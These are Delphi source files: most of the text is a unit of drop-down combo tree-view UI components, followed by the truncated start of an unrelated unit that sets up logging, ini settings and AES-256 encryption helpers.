rmPathTreeView, ImgList, rmScrnCtrls {$ifDef rmDebug}, rmMsgList{$endif};
type
TrmTreeViewComboStyle = (tvcsDropDown, tvcsDropDownList);
TrmCustomComboTreeView = class(TrmCustomBtnEdit)
private
{ Private declarations }
FScreenTreeview: TrmCustomScreenTreeView;
fDropDownWidth: integer;
fSelectedNode: TTreeNode;
FDropDownHeight: integer;
FOnDropDown: TNotifyEvent;
fChanged: TTVChangedEvent;
fChanging: TTVChangingEvent;
fLeafOnly: boolean;
fOnDestroy: TNotifyEvent;
{$ifdef rmDebug}
fMsg: TrmMsgEvent;
{$endif}
procedure ToggleTreeView(Sender: TObject);
procedure DoClick(Sender: TObject);
procedure DoMyKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure DoMyExit(Sender: Tobject);
procedure CMFontchanged(var Message: TMessage); message CM_FontChanged;
procedure cmCancelMode(var Message:TCMCancelMode); Message cm_cancelMode;
procedure wmKillFocus(var Message:TMessage); message wm_KillFocus;
procedure wmGetDLGCode(var Message:TWMGetDlgCode); message wm_GetDLGCode;
function GetAutoExpand: boolean;
function GetCollapsedEvent: TTVExpandedEvent;
function GetCollapsingEvent: TTVCollapsingEvent;
function GetCompareEvent: TTVCompareEvent;
function GetExpandedEvent: TTVExpandedEvent;
function GetExpandingEvent: TTVExpandingEvent;
function GetImages: TCustomImageList;
function GetItems: TTreeNodes;
function GetSortType: TSortType;
function GetStateImages: TCustomImageList;
procedure SetAutoExpand(const Value: boolean);
procedure SetCollapsedEvent(const Value: TTVExpandedEvent);
procedure SetCollapsingEvent(const Value: TTVCollapsingEvent);
procedure SetCompareEvent(const Value: TTVCompareEvent);
procedure SetExpandingEvent(const Value: TTVExpandingEvent);
procedure SetExpandedEvent(const Value: TTVExpandedEvent);
procedure SetImages(const Value: TCustomImageList);
procedure SetSelectedNode(const Value: TTreeNode);
procedure SetSortType(const Value: TSortType);
procedure SetStateImages(const Value: TCustomImageList);
procedure SetImageIndexEvent(const Value: TTVExpandedEvent);
procedure SetSelectedIndexEvent(const Value: TTVExpandedEvent);
function GetImageIndexEvent: TTVExpandedEvent;
function GetSelectedIndexEvent: TTVExpandedEvent;
protected
{ Protected declarations }
procedure KeyDown(var Key: Word; Shift: TShiftState); override;
property AllowLeafOnly : boolean read fLeafOnly write fLeafOnly default false;
property AutoExpand: boolean read getAutoExpand write setAutoExpand;
property DropDownHeight: integer read FDropDownHeight write fDropDownHeight default 0;
property DropDownWidth: integer read fDropDownWidth write fDropDownWidth default 0;
property Images: TCustomImageList read GetImages write SetImages;
property Items: TTreeNodes read GetItems;
property SelectedNode: TTreeNode read fSelectedNode write SetSelectedNode;
property SortType: TSortType read GetSortType write SetSortType;
property StateImages: TCustomImageList read GetStateImages write SetStateImages;
property OnChanged: TTVChangedEvent read fChanged write fChanged;
property OnChanging: TTVChangingEvent read fChanging write fChanging;
property OnCollapsing: TTVCollapsingEvent read GetCollapsingEvent write SetCollapsingEvent;
property OnCollapsed: TTVExpandedEvent read GetCollapsedEvent write SetCollapsedEvent;
property OnCompare: TTVCompareEvent read GetCompareEvent write SetCompareEvent;
property OnDropDown: TNotifyEvent read FOnDropDown write fOnDropDown;
property OnExpanding: TTVExpandingEvent read GetExpandingEvent write SetExpandingEvent;
property OnExpanded: TTVExpandedEvent read GetExpandedEvent write SetExpandedEvent;
property OnGetImageIndex : TTVExpandedEvent read GetImageIndexEvent write SetImageIndexEvent;
property OnGetSelectedIndex : TTVExpandedEvent read GetSelectedIndexEvent write SetSelectedIndexEvent;
property OnDestroy : TNotifyEvent read fOnDestroy write fOnDestroy;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure WndProc(var Message: TMessage); override;
function CustomSort(SortProc: TTVCompare; Data: Longint): Boolean;
procedure FullExpand;
procedure FullCollapse;
{$ifdef rmDebug}
property OnMessage:TrmMsgEvent read fMsg write fMsg;
{$endif}
end;
TrmComboTreeView = class(TrmCustomComboTreeView)
public
{ Public declarations }
property Items;
property SelectedNode;
published
{ Published declarations }
{$ifdef D4_OR_HIGHER}
property Anchors;
property Constraints;
{$endif}
property Enabled;
property Font;
property MaxLength;
property ParentColor;
property ParentCtl3D;
property ParentFont;
property ParentShowHint;
property PopupMenu;
property ShowHint;
property TabOrder;
property TabStop;
property Visible;
property AllowLeafOnly;
property AutoExpand;
property DropDownHeight;
property DropDownWidth;
property Images;
property SortType;
property StateImages;
property OnDropDown;
property OnChanged;
property OnChanging;
property OnCollapsed;
property OnCollapsing;
property OnCompare;
property OnExpanding;
property OnExpanded;
property OnGetImageIndex;
property OnGetSelectedIndex;
property OnDestroy;
end;
TrmCustomComboPathTreeView = class(TrmCustomBtnEdit)
private
{ Private declarations }
FScreenTreeview: TrmCustomScreenPathTreeView;
fDropDownWidth: integer;
fSelectedNode: TrmTreeNode;
FDropDownHeight: integer;
FOnDropDown: TNotifyEvent;
fChanged: TrmTVChangedEvent;
fChanging: TrmTVChangingEvent;
fLeafOnly: boolean;
fOnDestroy: TNotifyEvent;
{$ifdef rmDebug}
fMsg: TrmMsgEvent;
{$endif}
fComboStyle: TrmTreeViewComboStyle;
procedure ToggleTreeView(Sender: TObject);
procedure DoClick(Sender: TObject);
procedure DoMyKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure DoMyExit(Sender: Tobject);
procedure CheckForModifiedText;
procedure CMFontchanged(var Message: TMessage); message CM_FontChanged;
procedure cmCancelMode(var Message:TCMCancelMode); Message cm_cancelMode;
procedure wmKillFocus(var Message:TMessage); message wm_KillFocus;
procedure wmGetDLGCode(var Message:TWMGetDlgCode); message wm_GetDLGCode;
function GetAutoExpand: boolean;
function GetCollapsedEvent: TrmTVExpandedEvent;
function GetCollapsingEvent: TrmTVCollapsingEvent;
function GetCompareEvent: TrmTVCompareEvent;
function GetExpandedEvent: TrmTVExpandedEvent;
function GetExpandingEvent: TrmTVExpandingEvent;
function GetImages: TCustomImageList;
function GetItems: TrmTreeNodes;
function GetSepChar: Char;
function GetSortType: TSortType;
function GetStateImages: TCustomImageList;
procedure SetAutoExpand(const Value: boolean);
procedure SetCollapsedEvent(const Value: TrmTVExpandedEvent);
procedure SetCollapsingEvent(const Value: TrmTVCollapsingEvent);
procedure SetCompareEvent(const Value: TrmTVCompareEvent);
procedure SetExpandingEvent(const Value: TrmTVExpandingEvent);
procedure SetExpandedEvent(const Value: TrmTVExpandedEvent);
procedure SetImages(const Value: TCustomImageList);
procedure SetSelectedNode(const Value: TrmTreeNode);
procedure SetSepChar(const Value: Char);
procedure SetSortType(const Value: TSortType);
procedure SetStateImages(const Value: TCustomImageList);
procedure SetImageIndexEvent(const Value: TrmTVExpandedEvent);
procedure SetSelectedIndexEvent(const Value: TrmTVExpandedEvent);
function GetImageIndexEvent: TrmTVExpandedEvent;
function GetSelectedIndexEvent: TrmTVExpandedEvent;
procedure SetComboStyle(const Value: TrmTreeViewComboStyle);
protected
{ Protected declarations }
procedure KeyDown(var Key: Word; Shift: TShiftState); override;
property ComboStyle: TrmTreeViewComboStyle read fComboStyle write SetComboStyle default tvcsDropDownList;
property AllowLeafOnly : boolean read fLeafOnly write fLeafOnly default false;
property AutoExpand: boolean read getAutoExpand write setAutoExpand;
property DropDownHeight: integer read FDropDownHeight write fDropDownHeight default 0;
property DropDownWidth: integer read fDropDownWidth write fDropDownWidth default 0;
property Images: TCustomImageList read GetImages write SetImages;
property Items: TrmTreeNodes read GetItems;
property SelectedNode: TrmTreeNode read fSelectedNode write SetSelectedNode;
property SepChar: Char read GetSepChar write SetSepChar;
property SortType: TSortType read GetSortType write SetSortType;
property StateImages: TCustomImageList read GetStateImages write SetStateImages;
property OnChanged: TrmTVChangedEvent read fChanged write fChanged;
property OnChanging: TrmTVChangingEvent read fChanging write fChanging;
property OnCollapsing: TrmTVCollapsingEvent read GetCollapsingEvent write SetCollapsingEvent;
property OnCollapsed: TrmTVExpandedEvent read GetCollapsedEvent write SetCollapsedEvent;
property OnCompare: TrmTVCompareEvent read GetCompareEvent write SetCompareEvent;
property OnDropDown: TNotifyEvent read FOnDropDown write fOnDropDown;
property OnExpanding: TrmTVExpandingEvent read GetExpandingEvent write SetExpandingEvent;
property OnExpanded: TrmTVExpandedEvent read GetExpandedEvent write SetExpandedEvent;
property OnGetImageIndex : TrmTVExpandedEvent read GetImageIndexEvent write SetImageIndexEvent;
property OnGetSelectedIndex : TrmTVExpandedEvent read GetSelectedIndexEvent write SetSelectedIndexEvent;
property OnDestroy : TNotifyEvent read fOnDestroy write fOnDestroy;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure WndProc(var Message: TMessage); override;
function AddPathNode(Node: TrmTreeNode; Path: string): TrmTreeNode;
function FindPathNode(Path: string): TrmTreeNode;
function NodePath(Node: TrmTreeNode): string;
function CustomSort(SortProc: TTVCompare; Data: Longint): Boolean;
procedure FullExpand;
procedure FullCollapse;
{$ifdef rmDebug}
property OnMessage:TrmMsgEvent read fMsg write fMsg;
{$endif}
end;
TrmComboPathTreeView = class(TrmCustomComboPathTreeView)
public
{ Public declarations }
property Items;
property SelectedNode;
published
{ Published declarations }
{$ifdef D4_OR_HIGHER}
property Anchors;
property Constraints;
{$endif}
property ComboStyle;
property Enabled;
property Font;
property MaxLength;
property ParentColor;
property ParentCtl3D;
property ParentFont;
property ParentShowHint;
property PopupMenu;
property ShowHint;
property TabOrder;
property TabStop;
property Visible;
property AllowLeafOnly;
property AutoExpand;
property DropDownHeight;
property DropDownWidth;
property Images;
property SepChar;
property SortType;
property StateImages;
property OnDropDown;
property OnChanged;
property OnChanging;
property OnCollapsed;
property OnCollapsing;
property OnCompare;
property OnExpanding;
property OnExpanded;
property OnGetImageIndex;
property OnGetSelectedIndex;
property OnDestroy;
end;
implementation
uses forms, sysutils;
{ TrmCustomComboTreeView }
constructor TrmCustomComboTreeView.Create(AOwner: TComponent);
begin
inherited create(aowner);
fSelectedNode := nil;
OnBtn1Click := ToggleTreeView;
OnExit := DoMyExit;
readonly := true;
fDropDownHeight := 0;
fDropDownWidth := 0;
fLeafOnly := false;
with GetButton(1) do
begin
Font.name := 'Marlett';
font.size := 10;
Caption := '6';
Glyph := nil;
end;
FScreenTreeview := TrmCustomScreenTreeView.create(nil);
with FScreenTreeview do
begin
width := self.width;
height := self.height * 8;
visible := false;
Parent := self;
ReadOnly := true;
OnClick := DoClick;
OnKeyDown := DoMyKeyDown;
end;
FScreenTreeview.hide;
end;
function TrmCustomComboTreeView.CustomSort(SortProc: TTVCompare;
Data: Integer): Boolean;
begin
result := FScreenTreeview.CustomSort(SortProc, Data);
end;
procedure TrmCustomComboTreeView.DoClick(Sender: TObject);
var
allowchange:boolean;
wPoint : TPoint;
HitTest : THitTests;
begin
if not assigned(FScreenTreeview.Selected) then
exit;
wPoint := FScreenTreeview.ScreenToClient(Mouse.CursorPos);
if not assigned(FScreenTreeview.GetNodeAt(wPoint.x, wPoint.y)) then
exit;
HitTest := FScreenTreeview.GetHitTestInfoAt(wPoint.x, wPoint.y);
if not (htOnItem in HitTest) then
exit;
if not (fLeafOnly) or ((fLeafOnly) and (FScreenTreeview.Selected.Count = 0)) then
begin
allowchange := true;
if Assigned(fChanging) then
fChanging(self, FScreenTreeview.Selected, allowchange);
if allowchange then
begin
fSelectedNode := FScreenTreeview.Selected;
FScreenTreeview.hide;
Text := fSelectedNode.Text;
if assigned(fChanged) then
fChanged(self, fSelectedNode);
end
else
FScreenTreeview.Selected := fSelectedNode;
end;
end;
procedure TrmCustomComboTreeView.DoMyKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
var
AllowChange : boolean;
begin
if (key = vk_escape) then
begin
FScreenTreeview.hide;
self.setfocus;
self.SelectAll;
end
else
if (key = vk_Return) then
begin
if not assigned(FScreenTreeview.Selected) then
exit;
if not (fLeafOnly) or ((fLeafOnly) and (FScreenTreeview.Selected.Count = 0)) then
begin
allowchange := true;
if Assigned(fChanging) then
fChanging(self, FScreenTreeview.Selected, allowchange);
if allowchange then
begin
fSelectedNode := FScreenTreeview.Selected;
FScreenTreeview.hide;
Text := fSelectedNode.Text;
if assigned(fChanged) then
fChanged(self, fSelectedNode);
self.setfocus;
self.SelectAll;
end
else
FScreenTreeview.Selected := fSelectedNode;
end;
end
end;
procedure TrmCustomComboTreeView.DoMyExit(Sender: Tobject);
begin
if FScreenTreeview.visible then
FScreenTreeview.visible := false;
end;
procedure TrmCustomComboTreeView.FullCollapse;
begin
FScreenTreeview.FullCollapse;
end;
procedure TrmCustomComboTreeView.FullExpand;
begin
FScreenTreeview.FullExpand;
end;
function TrmCustomComboTreeView.getAutoExpand: boolean;
begin
result := FScreenTreeview.AutoExpand;
end;
function TrmCustomComboTreeView.GetCollapsedEvent: TTVExpandedEvent;
begin
Result := FScreenTreeview.OnCollapsed;
end;
function TrmCustomComboTreeView.GetCollapsingEvent: TTVCollapsingEvent;
begin
Result := FScreenTreeview.OnCollapsing;
end;
function TrmCustomComboTreeView.GetCompareEvent: TTVCompareEvent;
begin
Result := FScreenTreeview.OnCompare;
end;
function TrmCustomComboTreeView.GetExpandedEvent: TTVExpandedEvent;
begin
Result := FScreenTreeview.OnExpanded;
end;
function TrmCustomComboTreeView.GetExpandingEvent: TTVExpandingEvent;
begin
result := FScreenTreeview.OnExpanding;
end;
function TrmCustomComboTreeView.GetImageIndexEvent: TTVExpandedEvent;
begin
Result := FScreenTreeview.OnGetImageIndex;
end;
function TrmCustomComboTreeView.GetImages: TCustomImageList;
begin
result := FScreenTreeview.images;
end;
function TrmCustomComboTreeView.GetItems: TTreeNodes;
begin
Result := FScreenTreeview.Items;
end;
function TrmCustomComboTreeView.GetSelectedIndexEvent: TTVExpandedEvent;
begin
Result := FScreenTreeview.OnGetSelectedIndex;
end;
function TrmCustomComboTreeView.GetSortType: TSortType;
begin
Result := FScreenTreeview.SortType;
end;
function TrmCustomComboTreeView.GetStateImages: TCustomImageList;
begin
result := FScreenTreeview.StateImages;
end;
procedure TrmCustomComboTreeView.KeyDown(var Key: Word;
Shift: TShiftState);
begin
if ((Key = VK_DOWN) or (key = VK_UP)) and (ssAlt in Shift) then
begin
if not FScreenTreeview.visible then
ToggleTreeView(self)
else
FScreenTreeview.hide;
end
else
inherited KeyDown(Key, Shift);
end;
procedure TrmCustomComboTreeView.setAutoExpand(const Value: boolean);
begin
FScreenTreeview.AutoExpand := Value;
end;
procedure TrmCustomComboTreeView.SetCollapsedEvent(
const Value: TTVExpandedEvent);
begin
FScreenTreeview.OnCollapsed := Value;
end;
procedure TrmCustomComboTreeView.SetCollapsingEvent(
const Value: TTVCollapsingEvent);
begin
FScreenTreeview.OnCollapsing := Value;
end;
procedure TrmCustomComboTreeView.SetCompareEvent(
const Value: TTVCompareEvent);
begin
FScreenTreeview.OnCompare := Value;
end;
procedure TrmCustomComboTreeView.SetExpandedEvent(
const Value: TTVExpandedEvent);
begin
FScreenTreeview.OnExpanded := Value;
end;
procedure TrmCustomComboTreeView.SetExpandingEvent(
const Value: TTVExpandingEvent);
begin
FScreenTreeview.OnExpanding := Value;
end;
procedure TrmCustomComboTreeView.SetImageIndexEvent(
const Value: TTVExpandedEvent);
begin
FScreenTreeview.OnGetImageIndex := value;
end;
procedure TrmCustomComboTreeView.SetImages(const Value: TCustomImageList);
begin
FScreenTreeview.Images := value;
end;
procedure TrmCustomComboTreeView.SetSelectedIndexEvent(
const Value: TTVExpandedEvent);
begin
FScreenTreeview.OnGetSelectedIndex := value;
end;
procedure TrmCustomComboTreeView.SetSelectedNode(const Value: TTreeNode);
begin
fSelectedNode := Value;
if assigned(fSelectedNode) then
Text := fSelectedNode.Text;
end;
procedure TrmCustomComboTreeView.SetSortType(const Value: TSortType);
begin
FScreenTreeview.SortType := value;
end;
procedure TrmCustomComboTreeView.SetStateImages(
const Value: TCustomImageList);
begin
FScreenTreeview.StateImages := value;
end;
procedure TrmCustomComboTreeView.ToggleTreeView(Sender: TObject);
var
CP, SP: TPoint;
begin
CP.X := Left;
CP.Y := Top + Height;
SP := parent.ClientToScreen(CP);
SetFocus;
SelectAll;
with FScreenTreeview do
begin
if fDropDownWidth = 0 then
Width := self.width
else
width := fDropDownWidth;
if fDropDownHeight = 0 then
Height := self.Height * 8
else
Height := fDropDownHeight;
try
Selected := fSelectedNode;
if assigned(Selected) then
Selected.MakeVisible;
except
Selected := nil;
end;
Left := SP.X;
if assigned(screen.ActiveForm) then
begin
if (SP.Y + FScreenTreeview.height < screen.activeForm.Monitor.Height) then
FScreenTreeview.Top := SP.Y
else
FScreenTreeview.Top := (SP.Y - self.height) - FScreenTreeview.height;
end
else
begin
if (SP.Y + FScreenTreeview.height < screen.Height) then
FScreenTreeview.Top := SP.Y
else
FScreenTreeview.Top := (SP.Y - self.height) - FScreenTreeview.height;
end;
Show;
SetWindowPos(handle, hwnd_topMost, 0, 0, 0, 0, swp_nosize or swp_NoMove);
end; { Calendar }
end;
procedure TrmCustomComboTreeView.WndProc(var Message: TMessage);
begin
{$ifdef rmDebug}
if assigned(OnMessage) then
try
OnMessage(Message);
except
end;
{$endif}
case Message.Msg of
WM_CHAR,
WM_KEYDOWN,
WM_KEYUP : if (FScreenTreeview.visible) then
begin
if message.WParam = 9 then
begin
message.result := 0;
if message.msg = wm_keydown then
messagebeep(0);
exit;
end
else
if GetCaptureControl = nil then
begin
Message.result := SendMessage(FScreenTreeview.Handle, message.msg, message.wParam, message.LParam);
if message.result = 0 then exit;
end;
end;
end;
inherited WndProc(Message);
end;
destructor TrmCustomComboTreeView.Destroy;
begin
if assigned(fOnDestroy) then
fOnDestroy(self);
FScreenTreeview.free;
inherited;
end;
procedure TrmCustomComboTreeView.wmKillFocus(var Message: TMessage);
begin
inherited;
if FScreenTreeview.visible then
FScreenTreeview.Hide;
end;
procedure TrmCustomComboTreeView.cmCancelMode(var Message: TCMCancelMode);
begin
inherited;
if Message.Sender = fScreenTreeView then
exit;
if FScreenTreeview.visible then
FScreenTreeview.Hide;
end;
procedure TrmCustomComboTreeView.CMFontchanged(var Message: TMessage);
begin
inherited;
FScreenTreeview.Font.Assign(self.font);
end;
procedure TrmCustomComboTreeView.wmGetDLGCode(var Message: TWMGetDlgCode);
begin
if FScreenTreeview.Visible then
message.Result := DLGC_WANTARROWS or DLGC_WANTTAB or DLGC_WANTCHARS or DLGC_WANTMESSAGE;
end;
{ TrmCustomComboPathTreeView }
function TrmCustomComboPathTreeView.AddPathNode(Node: TrmTreeNode;
Path: string): TrmTreeNode;
begin
result := FScreenTreeview.AddPathNode(Node, Path);
end;
constructor TrmCustomComboPathTreeView.Create(AOwner: TComponent);
begin
inherited create(aowner);
fSelectedNode := nil;
ComboStyle := tvcsDropDownList;
OnBtn1Click := ToggleTreeView;
OnExit := DoMyExit;
fDropDownHeight := 0;
fDropDownWidth := 0;
fLeafOnly := false;
with GetButton(1) do
begin
Font.name := 'Marlett';
font.size := 10;
Caption := '6';
Glyph := nil;
end;
FScreenTreeview := TrmCustomScreenPathTreeView.create(nil);
with FScreenTreeview do
begin
width := self.width;
height := self.height * 8;
visible := false;
Parent := self;
ReadOnly := true;
OnClick := DoClick;
OnKeyDown := DoMyKeyDown;
end;
FScreenTreeview.hide;
end;
function TrmCustomComboPathTreeView.CustomSort(SortProc: TTVCompare;
Data: Integer): Boolean;
begin
result := FScreenTreeview.CustomSort(SortProc, Data);
end;
procedure TrmCustomComboPathTreeView.DoClick(Sender: TObject);
var
allowchange:boolean;
wPoint : TPoint;
HitTest : THitTests;
begin
if not assigned(FScreenTreeview.Selected) then
exit;
wPoint := FScreenTreeview.ScreenToClient(Mouse.CursorPos);
if not assigned(FScreenTreeview.GetNodeAt(wPoint.x, wPoint.y)) then
exit;
HitTest := FScreenTreeview.GetHitTestInfoAt(wPoint.x, wPoint.y);
if not (htOnItem in HitTest) then
exit;
if not (fLeafOnly) or ((fLeafOnly) and (FScreenTreeview.Selected.Count = 0)) then
begin
allowchange := true;
if Assigned(fChanging) then
fChanging(self, FScreenTreeview.Selected, allowchange);
if allowchange then
begin
fSelectedNode := FScreenTreeview.Selected;
FScreenTreeview.hide;
Text := fSelectedNode.Text;
if assigned(fChanged) then
fChanged(self, fSelectedNode);
end
else
FScreenTreeview.Selected := fSelectedNode;
end;
end;
procedure TrmCustomComboPathTreeView.DoMyKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
var
AllowChange : boolean;
begin
if (key = vk_escape) then
begin
FScreenTreeview.hide;
self.setfocus;
self.SelectAll;
end
else
if (key = vk_Return) then
begin
if not assigned(FScreenTreeview.Selected) then
exit;
if not (fLeafOnly) or ((fLeafOnly) and (FScreenTreeview.Selected.Count = 0)) then
begin
allowchange := true;
if Assigned(fChanging) then
fChanging(self, FScreenTreeview.Selected, allowchange);
if allowchange then
begin
fSelectedNode := FScreenTreeview.Selected;
FScreenTreeview.hide;
Text := fSelectedNode.Text;
if assigned(fChanged) then
fChanged(self, fSelectedNode);
self.setfocus;
self.SelectAll;
end
else
FScreenTreeview.Selected := fSelectedNode;
end;
end
end;
procedure TrmCustomComboPathTreeView.DoMyExit(Sender: Tobject);
begin
if FScreenTreeview.visible then
FScreenTreeview.visible := false;
end;
function TrmCustomComboPathTreeView.FindPathNode(Path: string): TrmTreeNode;
begin
result := FScreenTreeview.FindPathNode(Path);
end;
procedure TrmCustomComboPathTreeView.FullCollapse;
begin
FScreenTreeview.FullCollapse;
end;
procedure TrmCustomComboPathTreeView.FullExpand;
begin
FScreenTreeview.FullExpand;
end;
function TrmCustomComboPathTreeView.getAutoExpand: boolean;
begin
result := FScreenTreeview.AutoExpand;
end;
function TrmCustomComboPathTreeView.GetCollapsedEvent: TrmTVExpandedEvent;
begin
Result := FScreenTreeview.OnCollapsed;
end;
function TrmCustomComboPathTreeView.GetCollapsingEvent: TrmTVCollapsingEvent;
begin
Result := FScreenTreeview.OnCollapsing;
end;
function TrmCustomComboPathTreeView.GetCompareEvent: TrmTVCompareEvent;
begin
Result := FScreenTreeview.OnCompare;
end;
function TrmCustomComboPathTreeView.GetExpandedEvent: TrmTVExpandedEvent;
begin
Result := FScreenTreeview.OnExpanded;
end;
function TrmCustomComboPathTreeView.GetExpandingEvent: TrmTVExpandingEvent;
begin
result := FScreenTreeview.OnExpanding;
end;
function TrmCustomComboPathTreeView.GetImageIndexEvent: TrmTVExpandedEvent;
begin
Result := FScreenTreeview.OnGetImageIndex;
end;
function TrmCustomComboPathTreeView.GetImages: TCustomImageList;
begin
result := FScreenTreeview.images;
end;
function TrmCustomComboPathTreeView.GetItems: TrmTreeNodes;
begin
Result := FScreenTreeview.Items;
end;
function TrmCustomComboPathTreeView.GetSelectedIndexEvent: TrmTVExpandedEvent;
begin
Result := FScreenTreeview.OnGetSelectedIndex;
end;
function TrmCustomComboPathTreeView.GetSepChar: Char;
begin
Result := FScreenTreeview.SepChar;
end;
function TrmCustomComboPathTreeView.GetSortType: TSortType;
begin
Result := FScreenTreeview.SortType;
end;
function TrmCustomComboPathTreeView.GetStateImages: TCustomImageList;
begin
result := FScreenTreeview.StateImages;
end;
procedure TrmCustomComboPathTreeView.KeyDown(var Key: Word;
Shift: TShiftState);
begin
if ((Key = VK_DOWN) or (key = VK_UP)) and (ssAlt in Shift) then
begin
if not FScreenTreeview.visible then
ToggleTreeView(self)
else
FScreenTreeview.hide;
end
else
inherited KeyDown(Key, Shift);
end;
function TrmCustomComboPathTreeView.NodePath(Node: TrmTreeNode): string;
begin
result := FScreenTreeview.NodePath(Node);
end;
procedure TrmCustomComboPathTreeView.setAutoExpand(const Value: boolean);
begin
FScreenTreeview.AutoExpand := Value;
end;
procedure TrmCustomComboPathTreeView.SetCollapsedEvent(
const Value: TrmTVExpandedEvent);
begin
FScreenTreeview.OnCollapsed := Value;
end;
procedure TrmCustomComboPathTreeView.SetCollapsingEvent(
const Value: TrmTVCollapsingEvent);
begin
FScreenTreeview.OnCollapsing := Value;
end;
procedure TrmCustomComboPathTreeView.SetCompareEvent(
const Value: TrmTVCompareEvent);
begin
FScreenTreeview.OnCompare := Value;
end;
procedure TrmCustomComboPathTreeView.SetExpandedEvent(
const Value: TrmTVExpandedEvent);
begin
FScreenTreeview.OnExpanded := Value;
end;
procedure TrmCustomComboPathTreeView.SetExpandingEvent(
const Value: TrmTVExpandingEvent);
begin
FScreenTreeview.OnExpanding := Value;
end;
procedure TrmCustomComboPathTreeView.SetImageIndexEvent(
const Value: TrmTVExpandedEvent);
begin
FScreenTreeview.OnGetImageIndex := value;
end;
procedure TrmCustomComboPathTreeView.SetImages(const Value: TCustomImageList);
begin
FScreenTreeview.Images := value;
end;
procedure TrmCustomComboPathTreeView.SetSelectedIndexEvent(
const Value: TrmTVExpandedEvent);
begin
FScreenTreeview.OnGetSelectedIndex := value;
end;
procedure TrmCustomComboPathTreeView.SetSelectedNode(const Value: TrmTreeNode);
begin
fSelectedNode := Value;
if assigned(fSelectedNode) then
Text := fSelectedNode.Text;
end;
procedure TrmCustomComboPathTreeView.SetSepChar(const Value: Char);
begin
FScreenTreeview.SepChar := value;
end;
procedure TrmCustomComboPathTreeView.SetSortType(const Value: TSortType);
begin
FScreenTreeview.SortType := value;
end;
procedure TrmCustomComboPathTreeView.SetStateImages(
const Value: TCustomImageList);
begin
FScreenTreeview.StateImages := value;
end;
procedure TrmCustomComboPathTreeView.ToggleTreeView(Sender: TObject);
var
CP, SP: TPoint;
begin
CP.X := Left;
CP.Y := Top + Height;
SP := parent.ClientToScreen(CP);
SetFocus;
SelectAll;
with FScreenTreeview do
begin
if fDropDownWidth = 0 then
Width := self.width
else
width := fDropDownWidth;
if fDropDownHeight = 0 then
Height := self.Height * 8
else
Height := fDropDownHeight;
Selected := fSelectedNode;
if assigned(selected) then
Selected.MakeVisible;
Left := SP.X;
if assigned(screen.ActiveForm) then
begin
if (SP.Y + FScreenTreeview.height < screen.activeForm.Monitor.Height) then
FScreenTreeview.Top := SP.Y
else
FScreenTreeview.Top := (SP.Y - self.height) - FScreenTreeview.height;
end
else
begin
if (SP.Y + FScreenTreeview.height < screen.Height) then
FScreenTreeview.Top := SP.Y
else
FScreenTreeview.Top := (SP.Y - self.height) - FScreenTreeview.height;
end;
Show;
SetWindowPos(handle, hwnd_topMost, 0, 0, 0, 0, swp_nosize or swp_NoMove);
end; { Calendar }
end;
procedure TrmCustomComboPathTreeView.WndProc(var Message: TMessage);
begin
{$ifdef rmDebug}
if assigned(OnMessage) then
try
OnMessage(Message);
except
end;
{$endif}
case Message.Msg of
WM_CHAR,
WM_KEYDOWN,
WM_KEYUP : if (FScreenTreeview.visible) then
begin
if message.WParam = 9 then
begin
message.result := 0;
if message.msg = wm_keydown then
messagebeep(0);
exit;
end
else
if GetCaptureControl = nil then
begin
Message.result := SendMessage(FScreenTreeview.Handle, message.msg, message.wParam, message.LParam);
if (message.result = 0) then exit;
end;
end;
end;
inherited WndProc(Message);
end;
destructor TrmCustomComboPathTreeView.Destroy;
begin
if assigned(fOnDestroy) then
fOnDestroy(self);
FScreenTreeview.free;
inherited;
end;
procedure TrmCustomComboPathTreeView.cmCancelMode(
var Message: TCMCancelMode);
begin
inherited;
if Message.Sender = fScreenTreeView then
exit;
if FScreenTreeview.visible then
FScreenTreeview.Hide;
CheckForModifiedText;
end;
procedure TrmCustomComboPathTreeView.wmKillFocus(var Message: TMessage);
begin
inherited;
if FScreenTreeview.visible then
FScreenTreeview.Hide;
CheckForModifiedText;
end;
procedure TrmCustomComboPathTreeView.CMFontchanged(var Message: TMessage);
begin
inherited;
FScreenTreeview.Font.assign(self.Font);
end;
procedure TrmCustomComboPathTreeView.SetComboStyle(
const Value: TrmTreeViewComboStyle);
begin
fComboStyle := Value;
case fComboStyle of
tvcsDropDown : readonly := false;
tvcsDropDownList : readonly := true;
end;
end;
procedure TrmCustomComboPathTreeView.CheckForModifiedText;
var
wNode : TrmTreeNode;
begin
if (fComboStyle = tvcsDropDown) and (Modified) then
begin
if fSelectedNode <> nil then
begin
if lowercase(fSelectedNode.Text) <> lowercase(text) then
fSelectedNode := nil;
end;
if fSelectedNode = nil then
begin
wNode := FScreenTreeview.Items.GetFirstNode;
while (wNode <> nil) and (lowercase(wNode.Text) <> lowercase(Text)) do
wNode := wNode.GetNext;
fSelectedNode := wNode;
end;
if fSelectedNode <> nil then
begin
if (fLeafOnly and (fSelectedNode.Count = 0)) or (not fLeafOnly) then
text := fSelectedNode.Text
else
begin
fSelectedNode := nil;
messagebeep(0);
setFocus;
exit;
end;
end;
modified := false;
end;
end;
procedure TrmCustomComboPathTreeView.wmGetDLGCode(
var Message: TWMGetDlgCode);
begin
if FScreenTreeview.Visible then
message.Result := DLGC_WANTARROWS or DLGC_WANTTAB or DLGC_WANTCHARS or DLGC_WANTMESSAGE;
end;
end.
|
unit Objekt.Allgemein;
interface
uses
SysUtils, Classes, Objekt.Logger, Winapi.Windows, Objekt.Ini,
uTPLb_CryptographicLibrary, uTPLb_Codec;
type
TAllgemeinObj = class
private
fLog: TLoggerObj;
fIni: TIni;
fKey: string;
fLibrary : TCryptographicLibrary;
fCodec : TCodec;
protected
public
constructor Create;
destructor Destroy; override;
procedure Init;
property Log: TLoggerObj read fLog write fLog;
property Ini: TIni read fIni write fIni;
function Verschluesseln(aValue: string): string;
function Entschluesseln(aValue: string): string;
end;
var
AllgemeinObj: TAllgemeinObj;
implementation
{ TAllgemein }
constructor TAllgemeinObj.Create;
begin
Init;
fLog := TLoggerObj.Create;
fIni := TIni.Create;
fLibrary := TCryptographicLibrary.Create(nil);
fCodec := TCodec.Create(nil);
fCodec.CryptoLibrary := FLibrary;
fCodec.StreamCipherId := 'native.StreamToBlock';
fCodec.BlockCipherId := 'native.AES-256';
